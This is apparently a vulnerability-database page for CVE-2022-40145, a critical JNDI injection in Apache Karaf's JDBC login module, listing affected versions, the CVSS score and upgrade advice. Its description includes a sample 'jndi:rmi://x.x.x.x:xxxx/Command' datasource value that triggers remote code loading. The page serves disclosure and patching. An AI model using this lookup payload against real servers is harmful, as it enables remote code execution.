CVE-2022-40145
Published on: Not Yet Published
Last Modified on: 12/28/2022 07:25:00 PM UTC
Certain versions of Karaf from Apache contain the following vulnerability:
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
- CVE-2022-40145 has been assigned by
[email protected] to track the vulnerability - currently rated as CRITICAL severity.
- Affected Vendor/Software:
Apache Software Foundation - Apache Karaf version = 4.4.0
- Affected Vendor/Software:
Apache Software Foundation - Apache Karaf version = 0
CVSS3 Score: 9.8 - CRITICAL
Attack Vector ⓘ |
Attack Complexity |
Privileges Required |
User Interaction |
---|---|---|---|
NETWORK | LOW | NONE | NONE |
Scope | Confidentiality Impact |
Integrity Impact |
Availability Impact |
UNCHANGED | HIGH | HIGH | HIGH |
CVE References
Description | Tags ⓘ | Link |
---|---|---|
karaf.apache.org text/plain |
![]() |
Known Affected Configurations (CPE V2.3)
Type | Vendor | Product | Version | Update | Edition | Language |
---|---|---|---|---|---|---|
Application | Apache | Karaf | All | All | All | All |
- cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*:
Social Mentions
Source | Title | Posted (UTC) |
---|---|---|
![]() |
CVE-2022-40145 : This vulnerable is about a potential code injection when an attacker has control of the target LDA… twitter.com/i/web/status/1… | 2022-12-21 16:03:16 |
![]() |
Potentially Critical CVE Detected! CVE-2022-40145 This vulnerable is about a potential code injection when an attac… twitter.com/i/web/status/1… | 2022-12-21 16:56:01 |
![]() |
CVE-2022-40145 | 2022-12-21 16:46:22 |